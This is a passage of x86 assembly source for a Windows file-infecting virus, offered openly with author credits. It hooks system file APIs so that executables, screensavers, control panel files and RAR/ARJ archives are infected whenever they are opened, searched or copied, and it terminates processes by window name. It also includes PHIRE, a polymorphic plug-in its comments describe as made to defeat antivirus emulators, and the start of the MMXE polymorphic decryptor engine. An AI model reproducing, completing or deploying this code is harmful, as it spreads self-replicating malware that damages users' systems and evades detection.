OpenFile        endp

; input:
;       ECX = Size to map
; output:
;       EAX = Mapping handle/Error

CreateMap       proc
	xor     eax,eax
	push    eax
	push    ecx
	push    eax
	push    00000004h
	push    eax
	push    dword ptr [ebp+FileHandle]
	apicall _CreateFileMappingA
	ret
CreateMap       endp

; input:
;       ECX = Size to map
; output:
;       EAX = Mapping address/Error
;

MapFile         proc
	xor     eax,eax
	push    ecx
	push    eax
	push    eax
	push    00000002h
	push    dword ptr [ebp+MapHandle]
	apicall _MapViewOfFile
	ret
MapFile         endp

; input:
;       EDI = Pointer to the name of the window of the process we want to kill
; output:
;       Nothing
;

TerminateProc   proc
	xor     ebx,ebx                                 ; Thnx 2 Bennyg0d :)
	push    edi
	push    ebx
	apicall _FindWindowA
	xchg    eax,ecx
	jecxz   TP_ErrorExit
	push    ebx
	push    ebx
	push    00000012h
	push    ecx
	apicall _PostMessageA
	test    al,00h
	org     $-1
TP_ErrorExit:
	stc
	ret
TerminateProc   endp

; input:
;       ESI = Pointer to the code to process
;       EDI = Size of such code
; output:
;       EAX = CRC32 of that code
;

CRC32           proc
	cld
	xor     ecx,ecx                         ; Optimized by me - 2 bytes
	dec     ecx                             ; less
	mov     edx,ecx
	push    ebx
NextByteCRC:
	xor     eax,eax
	xor     ebx,ebx
	lodsb
	xor     al,cl
	mov     cl,ch
	mov     ch,dl
	mov     dl,dh
	mov     dh,8
NextBitCRC:
	shr     bx,1
	rcr     ax,1
	jnc     NoCRC
	xor     ax,08320h
	xor     bx,0EDB8h
NoCRC:  dec     dh
	jnz     NextBitCRC
	xor     ecx,eax
	xor     edx,ebx
	dec     edi                             ; Another fool byte less
	jnz     NextByteCRC
	pop     ebx
	not     edx
	not     ecx
	mov     eax,edx
	rol     eax,16
	mov     ax,cx
	ret
CRC32           endp

; input:
;       ESI = Offset where check for MZ mark
; output:
;       CF  = Set if fail, clear if all ok.
;

CheckMZ         proc
	pushad
	call    CMZ_SetSEH
	mov     esp,[esp+08h]
	jmp     CMZ_Exit
CMZ_SetSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp
	cmp     word ptr [esi],"ZM"
	jnz     CMZ_Exit
	test    al,00h
	org     $-1
CMZ_Exit:
	stc
	push    00h                             ; Thanx 2 Super for pointing
	pop     edx                             ; me a bug here :)
	pop     dword ptr fs:[edx]
	pop     edx
	popad
	ret
CheckMZ         endp

; input:
;       TOS+00 = Return Address
;       TOS+04 = Size of what we want to know the checksum
;       TOS+08 = Address where begin to calculate checksum
; output:
;       EAX = Checksum
;

Checksum        proc PASCAL lpFile:DWORD,dwFileLen:DWORD
	xor     edx,edx
	mov     esi,lpFile
	mov     ecx,dwFileLen
	shr     ecx,1
@CSumLoop:
	movzx   eax,word ptr [esi]
	add     edx,eax
	mov     eax,edx
	movzx   edx,dx
	shr     eax,10h
	add     edx,eax
	inc     esi
	inc     esi
	loop    @CSumLoop
	mov     eax,edx
	shr     eax,10h
	add     ax,dx
	add     eax,dwFileLen
	ret
Checksum        endp

; input:
;       EDI = Where generate the 6 char string
; output:
;       Nothing.
;

GenerateName    proc
	push    6                               ; Generate in [EDI] a 6 char
	pop     ecx                             ; name
gcl00p: call    GenChar
	stosb
	loop    gcl00p
	ret
GenChar:
	call    random                          ; Generate letter between
	and     al,25d                          ; A and Z :]
	add     al,41h
	ret
GenerateName    endp

; input:
;       EAX = CRC32 of the API we want to get info
; output:
;       EAX = API address
;       EBX = API in Import Table

GetAPI_IT_CRC32 proc
	mov     dword ptr [ebp+TempGA_IT1],eax

	mov     esi,dword ptr [ebp+imagebase]
	add     esi,3Ch
	lodsw
	cwde
	add     eax,dword ptr [ebp+imagebase]
	xchg    esi,eax
	lodsd

	cmp     eax,"EP"
	jnz     nopes

	add     esi,7Ch
	lodsd
	push    eax
	lodsd
	mov     ecx,eax
	pop     esi
	add     esi,dword ptr [ebp+imagebase]
	
SearchK32:
	push    esi
	mov     esi,[esi+0Ch]
	add     esi,dword ptr [ebp+imagebase]
	lea     edi,[ebp+K32_DLL]
	mov     ecx,K32_Size
	cld
	push    ecx
	rep     cmpsb
	pop     ecx
	pop     esi
	jz      gotcha
	add     esi,14h
	jmp     SearchK32
gotcha:
	cmp     byte ptr [esi],00h
	jz      nopes
	mov     edx,[esi+10h]
	add     edx,dword ptr [ebp+imagebase]
	lodsd
	or      eax,eax
	jz      nopes

	xchg    edx,eax
	add     edx,[ebp+imagebase]
	xor     ebx,ebx
loopy:
	cmp     dword ptr [edx+00h],00h
	jz      nopes
	cmp     byte ptr  [edx+03h],80h
	jz      reloop

	mov     edi,[edx]
	add     edi,dword ptr [ebp+imagebase]
	inc     edi
	inc     edi
	mov     esi,edi

	pushad
	eosz_edi
	sub     edi,esi

	call    CRC32
	mov     [esp.PUSHAD_ECX],eax
	popad

	cmp     dword ptr [ebp+TempGA_IT1],ecx
	jz      wegotit
reloop:
	inc     ebx
	add     edx,4
	loop    loopy
wegotit:
	shl     ebx,2
	add     ebx,eax
	mov     eax,[ebx]
	test    al,00h
	org     $-1
nopes:
	stc
	ret
GetAPI_IT_CRC32 endp


;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread used for hook IT desired APIs (Per-Process residence)           ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrPerProcess   proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TPP_Sleep:
	mov     cl,THREAD_SLEEPING
TPP_semaphore   equ $-1
	jecxz   TPP_Sleep

	pushad

	call    TPP_SetupSEH
	mov     esp,[esp+08h]
	jmp     TPP_RestoreSEH
TPP_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockD-BlockD

BlockD  label   byte


	call    GetK32
	push    eax
	pop     dword ptr [ebp+TmpModuleBase]

	lea     esi,[ebp+@@Hookz]
@@hooker:
	clc
	lodsd
	push    esi
	call    GetAPI_IT_CRC32
	pop     esi
	jnc     @@hookshit
	mov     eax,[esi-4]
	push    edi esi
	call    GetAPI_ET_CRC32
	pop     edi esi
	add     edi,04h
	stosd
	xchg    edi,esi
	jmp     @@checkshit
@@hookshit:
	xchg    eax,ecx
	lodsd
	add     eax,ebp
	mov     [ebx],eax
	xchg    eax,ecx
	xchg    esi,edi
	stosd
	xchg    esi,edi
@@checkshit:
	cmp     byte ptr [esi],Billy_Bel
	jnz     @@hooker

eBlockD label   byte

TPP_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TPP_semaphore],THREAD_SLEEPING

	jmp     ExitThread
ThrPerProcess   endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Hooked API's handlerz                                                  ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

HookMoveFileA:
	call    DoHookStuff
	jmp     dword ptr [eax+hMoveFileA]

HookCopyFileA:
	call    DoHookStuff
	jmp     dword ptr [eax+hCopyFileA]

HookGetFullPathNameA:
	call    DoHookStuff
	jmp     dword ptr [eax+hGetFullPathNameA]

HookDeleteFileA:
	call    DoHookStuff
	jmp     dword ptr [eax+hDeleteFileA]

HookWinExec:
	call    DoHookStuff
	jmp     dword ptr [eax+hWinExec]

HookCreateFileA:
	call    DoHookStuff
	jmp     dword ptr [eax+hCreateFileA]

HookCreateProcessA:
	call    DoHookStuff
	jmp     dword ptr [eax+hCreateProcessA]

HookGetFileAttributesA:
	call    DoHookStuff
	jmp     dword ptr [eax+hGetFileAttributesA]

HookSetFileAttributesA:
	call    DoHookStuff
	jmp     dword ptr [eax+hSetFileAttributesA]

Hook_lopen:
	call    DoHookStuff
	jmp     dword ptr [eax+h_lopen]

HookMoveFileExA:
	call    DoHookStuff
	jmp     dword ptr [eax+hMoveFileExA]

HookCopyFileExA:
	call    DoHookStuff
	jmp     dword ptr [eax+hCopyFileExA]

HookOpenFile:
	call    DoHookStuff
	jmp     dword ptr [eax+hOpenFile]

HookGetProcAddress:
	pushad                                  ; Save all the registers

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockE-BlockE

BlockE  label   byte

	call    GetDeltaOffset                  ; EBP = Delta Offset
	mov     eax,[esp+24h]                   ; EAX = Base address of module
	cmp     eax,dword ptr [ebp+kernel]      ; Is EAX=K32?
	jnz     OriginalGPA                     ; If not, it's not our problem
	mov     [esp.PUSHAD_EAX],ebp            ; Store delta offset
	popad
	pop     dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe
						; place

	call    dword ptr [eax+hGetProcAddress] ; Call original API
	or      eax,eax                         ; Fail? Duh!
	jz      HGPA_SeeYa

	pushad
	xchg    eax,ebx                         ; EBX = Address of function

	call    GetDeltaOffset                  ; EBP = Delta offset

	mov     ecx,nHookedAPIs                 ; ECX = Number of hooked apis
	lea     esi,[ebp+@@Hookz+08h]           ; ESI = Ptr to array of API
						; addresses
	xor     edx,edx                         ; EDX = Counter (set to 0)
HGPA_IsHookableAPI?:
	lodsd                                   ; EAX = Address of a hooked API
	cmp     ebx,eax                         ; Is equal to requested address?
	jz      HGPA_IndeedItIs                 ; If yes, it's interesting 4 us
	add     esi,08h                         ; Get ptr to another one
	inc     edx                             ; Increase counter
	loop    HGPA_IsHookableAPI?             ; Search loop
	jmp     OriginalGPAx

HGPA_IndeedItIs:
	lea     esi,[ebp+@@Hookz+04h]
	imul    eax,edx,0Ch                     ; Multiply per 12
	add     esi,eax                         ; Get the correct offset
	lodsd                                   ; And get the value
	add     eax,ebp                         ; Adjust it to delta
	mov     [esp.PUSHAD_EAX],eax
	popad                                   ; EAX = Hooked API address
eBlockE label   byte

HGPA_SeeYa:
	push    12345678h
HGPA_RetAddress equ $-4
	ret

OriginalGPAx:
	mov     [esp.PUSHAD_EAX],ebp            ; This is a jump to the origi-
	popad                                   ; nal GetProcAddress
	push    dword ptr [eax+HGPA_RetAddress]
	jmp     dword ptr [eax+hGetProcAddress]

OriginalGPA:
	mov     [esp.PUSHAD_EAX],ebp            ; This is a jump to the origi-
	popad                                   ; nal GetProcAddress
	jmp     dword ptr [eax+hGetProcAddress]

HookFindFirstFileA:
	pushad                                  ; Save all reggies

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockF-BlockF

BlockF  label   byte

	call    GetDeltaOffset                  ; EBP = Delta Offset
	mov     eax,[esp+20h]                   ; EAX = Return Address
	mov     dword ptr [ebp+FFRetAddress],eax
	mov     eax,[esp+28h]                   ; EAX = Ptr to WFD
	mov     dword ptr [ebp+FF_WFD],eax
	mov     [esp.PUSHAD_EAX],ebp            ; Save Delta Offset
	popad
	add     esp,4                           ; Remove this ret address from
						; stack

	call    dword ptr [eax+hFindFirstFileA] ; Call original API

	inc     eax
	jz      _FF_GoAway
	dec     eax
	jmp     twisted
_FF_GoAway:
	dec     eax
	jmp     FF_GoAway
twisted:
	pushad                                  ; Save reggies and flaggies
	pushfd

	call    GetDeltaOffset                  ; Delta again

	movzx   ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers
	mov     edx,[ebp+WFD_HndInMem]          ; Our Handle table in mem

eBlockF label   byte

	mov     esi,12345678h                   ; Ptr to filename
FF_WFD  equ     $-4
	add     esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)

	cmp     ebx,n_Handles                   ; Over max hnd storing?
	jae     AvoidStoring                    ; Shit...

	mov     dword ptr [edx+ebx*8],eax       ; Store Handle
	mov     dword ptr [edx+ebx*8+4],esi     ; Store WFD offset

	inc     byte ptr [ebp+WFD_Handles_Count]
      
AvoidStoring:
	push    esi
	call    Check4ValidFile                 ; Is a reliable file 4 inf?
	pop     edi 
	jecxz   FF_AvoidInfekt                  ; Duh!
	dec     ecx
	jecxz   FF_InfPE
	call    InfectArchiveEDI
	jmp     FF_AvoidInfekt
FF_InfPE:
	call    InfectEDI                       ; Infect it
FF_AvoidInfekt:
	popfd
	popad

FF_GoAway:                                      ; Return to caller
	push    12345678h
FFRetAddress equ $-4
	ret

HookFindNextFileA:
	pushad                                  ; Save all reggies

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock10-Block10

Block10 label   byte

	call    GetDeltaOffset                  ; Get delta offset
	mov     eax,[esp+20h]                   ; EAX = Return address
	mov     dword ptr [ebp+FNRetAddress],eax
	mov     eax,[esp+24h]                   ; EAX = Search Handle
	mov     dword ptr [ebp+FN_Hnd],eax
	mov     [esp.PUSHAD_EAX],ebp            ; Save delta offset
	popad
	add     esp,4                           ; Fix stack

	call    dword ptr [eax+_FindNextFileA]  ; Call original API
	or      eax,eax                         ; Fail? Damn.
	jz      FN_GoAway

	pushad                                  ; Save regs and flags
	pushfd

	call    GetDeltaOffset                  ; Get delta again

eBlock10 label  byte

	mov     eax,12345678h                   ; EAX = Search Handle
FN_Hnd  equ     $-4

	call    Check4ValidHandle               ; Is in our table? If yes,
	jc      FN_AvoidInfekt                  ; infect.

	xchg    esi,eax                         ; ESI = Pointer to WFD

	add     esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
	push    esi                             ; ESI = Ptr to filename
	call    Check4ValidFile                 ; Is reliable its inf.?
	pop     edi     
	jecxz   FN_AvoidInfekt                  ; Duh...
	dec     ecx
	jecxz   FN_InfPE
	call    InfectArchiveEDI
	jmp     FN_AvoidInfekt
FN_InfPE:
	call    InfectEDI                       ; Infect it !

FN_AvoidInfekt:
	popfd                                   ; Restore flags & regs
	popad

FN_GoAway:                                      ; Return to caller
	push    12345678h
FNRetAddress equ $-4
	ret

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Standard API handler                                                   ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

DoHookStuff:
	call    iENC_decrypt
	dd      00000000h
	dd      eBlock11-Block11

Block11 label   byte

	pushad
	pushfd
	call    GetDeltaOffset
	mov     edx,[esp+2Ch]                   ; Get filename to infect
	mov     esi,edx
	call    Check4ValidFile
	jecxz   ErrorDoHookStuff
	xchg    edi,edx
	dec     ecx
	jecxz   InfectWithHookStuff
InfectAnArchive:
	call    InfectArchiveEDI
	jmp     ErrorDoHookStuff
InfectWithHookStuff:
	call    InfectEDI
ErrorDoHookStuff:
	popfd                                   ; Preserve all as if nothing
	popad                                   ; happened :)
	push    ebp
	call    GetDeltaOffset                  ; Get delta offset 
	xchg    eax,ebp
	pop     ebp
	ret

eBlock11 label  byte

; input:
;       ESI = Pointer to file to check
; output:
;       ECX = 0 -> Not valid file
;       ECX = 1 -> Possible PE file
;       ECX = 2 -> Possible Archive
;

Check4ValidFile:
	xor     ecx,ecx
	lodsb
	or      al,al                           ; Find NULL? Shit...
	jz      C4VF_Error
	cmp     al,"."                          ; Dot found? Interesting...
	jnz     Check4ValidFile
	dec     esi
	lodsd                                   ; Put extension in EAX
	or      eax,20202020h                   ; Make string locase
	not     eax
	cmp     eax,not "exe."                  ; Is it an EXE? Infect!!!
	jz      C4VF_Successful
	cmp     eax,not "lpc."                  ; Is it a CPL? Infect!!!
	jz      C4VF_Successful
	cmp     eax,not "rcs."                  ; Is it a SCR? Infect!!!
	jz      C4VF_Successful
	cmp     eax,not "rar."                  ; Is it a RAR? Infect!!!
	jz      C4VF_SuccessfulArchive
	cmp     eax,not "jra."                  ; Is it an ARJ? Infect!!!
	jz      C4VF_SuccessfulArchive
C4VF_Error:
	ret
C4VF_SuccessfulArchive:
	inc     ecx
C4VF_Successful:
	inc     ecx
	ret

; input:
;       Nothing.
; output:
;       EBP = Delta Offset
;

GetDeltaOffset:
	call    @x1
   @x1: pop     ebp
	sub     ebp,offset @x1
	ret

; input:
;       EAX = Handle
; output:
;       EAX = WFD Offset of given handle
;       EDX = Places what it occupies in WFD_Handles structure
;       CF  = Set to 1 if it's found, to 0 if it wasn't
;

Check4ValidHandle:
	xor     edx,edx
	mov     edi,[ebp+WFD_HndInMem]
C4VH_l00p:
	cmp     edx,n_Handles                   ; Over limits? Shit...
	jae     C4VH_Error

	cmp     eax,[edx*8+edi]                 ; EAX = a handler stored in
	jz      C4VH_Successful                 ; table

	inc     edx                             ; Increase counter
	jmp     C4VH_l00p
C4VH_Successful:
	mov     eax,[edx*8+edi+4]               ; EAX = WFD Offset

	test    al,00h
	org     $-1
C4VH_Error:
	stc
	ret


; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; [PHIRE] - Polymorphic Header Idiot Random Engine v1.00     ? MMXE plug-in ?
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; This is a  plug-in for MMXE v1.01, that is  able to generate  a polymorphic
; block of code (size defined by user) captable to  kill emulators  and  hide
; the real entrypoint from AV. This is an EPO  plug-in for my MMXE. Why i say
; it's a plug-in? Well, it  wouldn't work without  MMXE, and it adds features
; to that engine that it previously haven't. So, don't doubt it: it's a plug-
; in ;)
;
; PHIRE will generate some code like the following:
;
;       [...]
;       CALL    @@1
;       [...]
;       MOV     ESP,[ESP+08h]
;       [...]
;       POP     DWORD PTR FS:[0000h]
;       [...]
;       ADD     ESP,4
;       [...]
;       JMP     MMXE_DECRYPTOR
;       [...]
;  @@1: PUSH    DWORD PTR FS:[0000h]
;       [...]
;       MOV     DWORD PTR FS:[0000h],ESP
;       [...]
;       * -> From here until complete the 256 bytes of code, we'll fill this
;            with random data, so an exception will surely happen :)
;
; Each '[...]' means garbage code. This will be placed at the original entry-
; point of the infected file, and  stops all  the actual  emulators. So, this
; plug-in makes the virus to be undetectable heuristically.
;
; input:
;       EDI = Buffer where put the generated polymorphic code
;       EAX = Distance between host entry-point and virus entry-point
;       EBP = Delta Offset
; output:
;       Nothing.
;
;       All registers are preserved.
;

pLIMIT          equ     100h

phire           proc
	pushad

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock12-Block12

Block12 label   byte

	mov     dword ptr [ebp+@@p_buffer],edi
	mov     dword ptr [ebp+@@p_distance],eax

	push    edi                             ; Clear work area
	xor     eax,eax
	mov     ecx,pLIMIT
	rep     stosb
	pop     edi

	and     dword ptr [ebp+@@reg_key],00h   ; Clear all registers :)
	call    @@clear_mask
	and     byte ptr [ebp+@@init_mmx?],00h  ; Don't allow MMX garbage

	call    @@gen_garbage

	mov     al,0E8h                         ; Write the provisional call
	stosb
	xor     eax,eax
	stosd
	mov     dword ptr [ebp+@@p_tmp_call],edi

	call    @@gen_garbage

	mov     eax,@@s_stack_fix               ; Generate some similar code
	call    r_range                         ; to MOV ESP,[ESP+08h]
	lea     ebx,[ebp+@@stack_fix]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax      

	call    @@gen_garbage

	mov     eax,@@s_seh_restore             ; Generate some similar code
	call    r_range                         ; to POP FS:[0000h]
	lea     ebx,[ebp+@@seh_restore]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax      

	call    @@gen_garbage

	mov     eax,@@s_stack_fix_nh            ; Generate some similar code
	call    r_range                         ; to ADD ESP,4
	lea     ebx,[ebp+@@stack_fix_nh]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax

	call    @@gen_garbage

	call    @@jump_to_decryptor             ; Generate the jump to the
						; decryptor
	call    @@gen_garbage

	mov     ebx,edi                         ; Call after SEH handler
	mov     eax,dword ptr [ebp+@@p_tmp_call]
	sub     ebx,eax
	mov     [eax-4],ebx

	call    @@gen_garbage

	mov     eax,@@s_seh_saveold             ; Generate some similar code
	call    r_range                         ; to PUSH FS:[0000h]
	lea     ebx,[ebp+@@seh_save_old]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax      

	call    @@gen_garbage

	mov     eax,@@s_seh_newhnd              ; Generate some similar code
	call    r_range                         ; to MOV FS:[0000h],ESP
	lea     ebx,[ebp+@@seh_newhnd]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax      

	call    @@gen_garbage

	mov     eax,pLIMIT
	mov     ecx,dword ptr [ebp+@@p_buffer]
	mov     ebx,edi
	sub     ebx,ecx
	sub     eax,ebx

	xchg    ecx,eax
@@fill_l00p:
	call    random
	stosb
	loop    @@fill_l00p

	popad
	ret

	db      00h,"[PHIRE v1.00]",00h

@@choose_aux1_reg:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@choose_aux1_reg
	cmp     eax,_ESP
	jz      @@choose_aux1_reg
	cmp     al,byte ptr [ebp+@@reg_aux2]
	jz      @@choose_aux1_reg
	mov     byte ptr [ebp+@@reg_aux1],al
	ret

@@choose_aux2_reg:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@choose_aux2_reg
	cmp     eax,_ESP
	jz      @@choose_aux2_reg
	cmp     al,byte ptr [ebp+@@reg_aux1]
	jz      @@choose_aux2_reg
	mov     byte ptr [ebp+@@reg_aux2],al
	ret

; Generate the jump to the MMXE decryptor

@@jump_to_decryptor:
	mov     al,0E9h
	stosb
	xor     eax,eax
	stosd

	mov     ebx,edi
	sub     ebx,dword ptr [ebp+@@p_buffer]

	mov     eax,dword ptr [ebp+@@p_distance]
	sub     eax,ebx
	mov     dword ptr [edi-4],eax
	ret

; ---

; Fixing stack after fault - type 1:
;       MOV     ESP,[ESP+08h]

@@stack_fix_type1:
	mov     eax,0824648Bh
	stosd
	ret

; Fixing stack after fault - type 2:
;       MOV     REG,ESP
;       MOV     ESP,[REG+08h]

@@stack_fix_type2:
	mov     al,08Bh
	stosb
	call    @@choose_aux1_reg
	shl     eax,3
	or      al,11000100b
	stosb

	call    @@gen_garbage

	mov     ax,608Bh
	or      ah,byte ptr [ebp+@@reg_aux1]
	stosw
	mov     al,08h
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Fixing stack after fault - type 3:
;       MOV     REG,[ESP+08h]
;       MOV     ESP,REG

@@stack_fix_type3:
	mov     al,8Bh
	stosb
	call    @@choose_aux1_reg
	shl     eax,3
	or      al,01000100b
	stosb
	mov     ax,0824h
	stosw

	call    @@gen_garbage

	mov     al,08Bh
	stosb
	mov     al,byte ptr [ebp+@@reg_aux1]
	or      al,11100000b
	stosb
	
	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Fixing stack after fault - type 4:
;       MOV     REG1,ESP
;       MOV     REG2,[REG1+08h]
;       MOV     ESP,REG2

@@stack_fix_type4:
	mov     al,08Bh
	stosb
	call    @@choose_aux1_reg
	shl     eax,3
	or      al,11000100b
	stosb

	call    @@gen_garbage

	call    @@choose_aux2_reg

	mov     ax,408Bh
	or      ah,byte ptr [ebp+@@reg_aux1]
	movzx   ebx,byte ptr [ebp+@@reg_aux2]
	shl     ebx,3
	or      ah,bl
	stosw
	mov     al,08h
	stosb

	call    @@gen_garbage

	mov     al,08Bh
	stosb
	mov     al,byte ptr [ebp+@@reg_aux2]
	or      al,11100000b
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	and     byte ptr [ebp+@@reg_aux2],00h
	ret

; ---

; Restoring old SEH handler - type 1:
;       POP     DWORD PTR FS:[0000h]

@@seh_restore_old_type1:
	mov     eax,068F6467h
	stosd
	xor     eax,eax
	stosw
	ret

; Restoring old SEH handler - type 2:
;       ZERO    REG
;       POP     DWORD PTR FS:[REG]

@@seh_restore_old_type2:
	call    @@choose_aux1_reg
	cmp     al,_EBP
	jz      @@seh_restore_old_type2
	call    @@gen_zero_reg

	call    @@gen_garbage

	mov     ax,08F64h
	stosw
	mov     al,byte ptr [ebp+@@reg_aux1]
	stosb
	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; ---

; Fixing stack because new handler - type 1:
;       POP     REG

@@stack_fix_nh_type1:
	call    @@choose_aux1_reg

	add     al,58h
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Fixing stack because new handler - type 2:
;   eq. ADD     ESP,4

@@stack_fix_nh_type2:
	mov     byte ptr [ebp+@@reg_aux1],_ESP

	call    @@gen_incpointer

	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; ---

; Saving old SEH handler - type 1:
;       PUSH    DWORD PTR FS:[0000h]

@@seh_save_old_type1:
	mov     eax,36FF6467h
	stosd
	xor     eax,eax
	stosw
	ret

; Saving old SEH handler - type 2:
;       ZERO    REG
;       PUSH    DWORD PTR FS:[REG]

@@seh_save_old_type2:
	call    @@choose_aux1_reg
	cmp     al,_EBP
	jz      @@seh_save_old_type2
	call    @@gen_zero_reg

	call    @@gen_garbage

	mov     ax,0FF64h
	stosw
	mov     al,byte ptr [ebp+@@reg_aux1]
	or      al,00110000b
	stosb
	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Saving old SEH handler - type 3:
;       MOV     REG,DWORD PTR FS:[0000h]
;       PUSH    REG

@@seh_save_old_type3:
	call    @@choose_aux1_reg

	mov     eax,008B6467h
	stosd
	dec     edi
	mov     al,byte ptr [ebp+@@reg_aux1]
	shl     eax,3
	or      al,00000110b
	stosb
	xor     eax,eax
	stosw

	call    @@gen_garbage

	mov     al,byte ptr [ebp+@@reg_aux1]
	add     al,50h
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Saving old SEH handler - type 4:
;       ZERO    REG1
;       MOV     REG2,DWORD PTR FS:[REG1]
;       PUSH    REG2

@@seh_save_old_type4:
	call    @@choose_aux1_reg
	cmp     al,_EBP
	jz      @@seh_save_old_type4

	call    @@gen_zero_reg

	call    @@gen_garbage

	mov     ax,8B64h
	stosw

	call    @@choose_aux2_reg
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_aux1]
	stosb

	call    @@gen_garbage

	mov     al,byte ptr [ebp+@@reg_aux2]
	add     al,50h
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	and     byte ptr [ebp+@@reg_aux2],00h
	ret

; ---

; Set new SEH handler type 1:
;       MOV     FS:[0000h],ESP

@@seh_newhnd_type1:
	mov     eax,26896467h
	stosd
	xor     eax,eax
	stosw
	ret

; Set new SEH handler type 2:
;       ZERO    REG
;       MOV     FS:[REG],ESP

@@seh_newhnd_type2:
	call    @@choose_aux1_reg
	cmp     al,_EBP
	jz      @@seh_newhnd_type2

	call    @@gen_zero_reg

	call    @@gen_garbage

	mov     ax,8964h
	stosw
	mov     al,byte ptr [ebp+@@reg_aux1]
	or      al,00100000b
	stosb

	and     byte ptr [ebp+@@reg_aux1],00h
	ret

; Tables for a random construction of SEH trick for stop emulatorz

@@stack_fix     label   byte
	dd      offset (@@stack_fix_type1)
	dd      offset (@@stack_fix_type2)
	dd      offset (@@stack_fix_type3)
	dd      offset (@@stack_fix_type4)
@@s_stack_fix   equ     (($-offset @@stack_fix)/4)

@@seh_restore   label   byte
	dd      offset (@@seh_restore_old_type1)
	dd      offset (@@seh_restore_old_type2)
@@s_seh_restore equ     (($-offset @@seh_restore)/4)

@@stack_fix_nh  label   byte
	dd      offset (@@stack_fix_nh_type1)
	dd      offset (@@stack_fix_nh_type2)
@@s_stack_fix_nh  equ   (($-offset @@stack_fix_nh)/4)

@@seh_save_old  label   byte
	dd      offset (@@seh_save_old_type1)
	dd      offset (@@seh_save_old_type2)
	dd      offset (@@seh_save_old_type3)
	dd      offset (@@seh_save_old_type4)
@@s_seh_saveold equ     (($-offset @@seh_save_old)/4)

@@seh_newhnd    label   byte
	dd      offset (@@seh_newhnd_type1)
	dd      offset (@@seh_newhnd_type2)
@@s_seh_newhnd  equ     (($-offset @@seh_newhnd)/4)

phire           endp

eBlock12 label  byte

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; [MMXE] - MultiMedia eXtensions Engine v1.01
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; This  is  a  bugfixed  and improved  version  of  my MMXE v1.00. Enjoy  it!
; PS: Of course, this engine is so  far away from  Mental Driller's code, but
; at least it tries to be poly, huh? :)
;
; Well, the poly decryptor generated with MMXE will be as this one:
;
;       +-------------------+
;       |   MMX detection   | ???
;       +-------------------+   ?
;       |   MMX decryptor   |   ? [ If not MMX detected ]
;       +-------------------+ <??
;       | Non MMX decryptor |
;       +-------------------+ }
;       |                   | }
;       |    Virus body     | } [ This is the encrypted part :) ]
;       |                   | }
;       +-------------------+ }
;
; The generated code doesn't pretend in any  way to seem  realistic: just the
; opposite. It generates a lot of nonsenses (very few executables use MMX op-
; codes). This can be a problem (or not) depending the viewpoint.
;
; input:
;       ECX = Size of code to encrypt
;       ESI = Pointer to the data to encrypt
;       EDI = Buffer where put the decryptor
;       EBP = Delta Offset
; output:
;       ECX = Decryptor size
;
;       All the other registers, preserved.
;

; [ Default MMXE settings ]

LIMIT           equ     800h                    ; Decryptor size (2K)
RECURSION       equ     05h                     ; The recursion level of THME
nGARBAGE        equ     08h                     ; Sorta level of garbage

; [ Registers ]

_EAX            equ     00000000b               ; All these are the numeric
_ECX            equ     00000001b               ; value of all the registers.
_EDX            equ     00000010b               ; Heh, i haven't used here 
_EBX            equ     00000011b               ; all this, but... wtf? they
_ESP            equ     00000100b               ; don't waste bytes, and ma-
_EBP            equ     00000101b               ; ke this shit to be more
_ESI            equ     00000110b               ; clear :)
_EDI            equ     00000111b               ;

; [ MMX registers ]

_MM0            equ     00000000b
_MM1            equ     00000001b
_MM2            equ     00000010b
_MM3            equ     00000011b
_MM4            equ     00000100b
_MM5            equ     00000101b
_MM6            equ     00000110b
_MM7            equ     00000111b

; [ Internal flags ]

_CHECK4MMX      equ     0000000000000001b
_DELTAOFFSET    equ     0000000000000010b
